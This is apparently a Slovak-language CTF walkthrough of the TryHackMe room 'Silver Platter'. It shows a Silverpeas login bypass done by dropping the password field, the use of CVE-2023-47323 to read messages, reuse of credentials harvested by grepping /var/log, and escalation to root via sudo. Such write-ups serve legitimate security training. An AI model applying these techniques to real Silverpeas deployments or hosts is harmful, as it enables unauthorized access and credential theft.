Príspevok

TryHackMe - Silver Platter (Strieborný tanier)

Celkom zábavná miestnosť, kde zneužívame zraniteľnosť prihlásenia sa do aplikácie Silverpeas

TryHackMe - Silver Platter (Strieborný tanier)

Úvod

Docela zábavná miestnosť, kde zneužívame zraniteľnosť prihlásenia sa do aplikácie Silverpeas a potom zneužívame ďalšie CVE na získanie vlajky používateľa a roota.

Tryhackme Room Link

Myslíte si, že máte na to, aby ste prekabátili tím Hack Smarter Security? Tvrdia, že sú neprekonateľní a teraz máte šancu dokázať im, že sa mýlia. Ponorte sa do ich webového servera, nájdite skryté vlajky a ukážte svetu svoje elitné hackerské schopnosti. Veľa šťastia a nech vyhrá najlepší hacker!

Ale pozor, toto nebude prechádzka rúžovou záhradou. Hack Smarter Security posilnili server proti bežným útokom a ich politika hesiel vyžaduje heslá, ktoré neboli v žiadnom úniku dát (porovnávajú to so zoznamom slov rockyou.txt - tak sú ‘cool’). Hackerská rukavica bola hodená a je čas pozdvihnúť svoju hru. Pamätajte, že na vrchol sa dostanú len tí najgeniálnejší.

Nech je váš kód rýchly, vaše zneužitia bezchybné a víťazstvo vaše!

Nmap

Začneme nmap skenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_  256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp   open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open  http-proxy
|_http-title: Error
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 16 Feb 2025 20:12:10 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 16 Feb 2025 20:12:09 GMT

Z nmap môžeme vidieť dostupné porty 22/tcp 80/tcp 8080/tcp

Prieskum

Pri kontrole kontaktnej stránky môžeme vidieť možné používateľské meno a aplikáciu s názvom Silverpeas:

Flag

Rýchle googlenie a máme dôležitú informáciu

Silverpeas štandardne používa prihlasovaciu stránku umiestnenú na adrese http://localhost:8080/silverpeas, tak to skúsme

Presmeruje nás to priamo na prihlasovaciu stránku: Flag

Ďalšie googlenie nám prezradí možnú chybu zabezpečenia týkajúcu sa prihlasovacej stránky:

Flag

Viac informácií o zraniteľnosti nájdete tu https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d

Po vygooglovení predvoleného používateľského mena pre Silverpeas vidíme, že je to SilverAdmin

Flag

Zachytenie požiadavky HTTP cez BurpSuite

Skúsime vytvoriť požiadavku POST http cez BurpSuite:

Pôvodná požiadavka:

Flag

Upravená požiadavka po odstránení poľa Password:

Flag

A sme prihlásení ako admin

Flag

Po ďalšom googlené týkajúcom sa zraniteľností Silverpeas nájdeme https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323 V podstate si môžeme prečítať akúkoľvek správu pod linkom:http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]

Po niekoľkých pokusoch úspešne nájdeme správu pod ID6:

Flag

Prihlásenie cez SSH

Použijeme tieto prihlasovacie údaje na prihlásenie cez ssh ako užívateľ tim

1
2
meno: tim
heslo: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

Flag

A získavame vlajku užívateľa:

Flag

Pri kontrole členstva v skupinách vidíme, že tim je súčasťou skupiny adm:

1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

Po spustení nasledujúceho príkazu nájdeme logy s heslom do DB:

1
2
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null

1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ 

Skúsme rovnakú kombináciu mena a hesla ako do DB:

1
2
3
tim@silver-platter:~$ su tyler
Password: 
tyler@silver-platter:/home/tim$ 

Teraz skontrolujeme členstvá v skupinách a máme oveľa viac privilégií:

1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

Aha tak nič, dokonca sme priamo root:

1
2
3
4
5
6
7
8
9
10
11
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

Používateľ tyler môže na striebornom podnose spustiť nasledujúce príkazy:
    (ALL : ALL) ALL
tyler@silver-platter:/home/tim$ 

Takže teraz sa môžeme jednoducho prehodiť na roota pomocou sudo:

1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim# 

Root Vlajka

A nájdeme vlajku používateľa root:

Flag


Tento príspevok je licencovaný pod CC BY 4.0 autorom.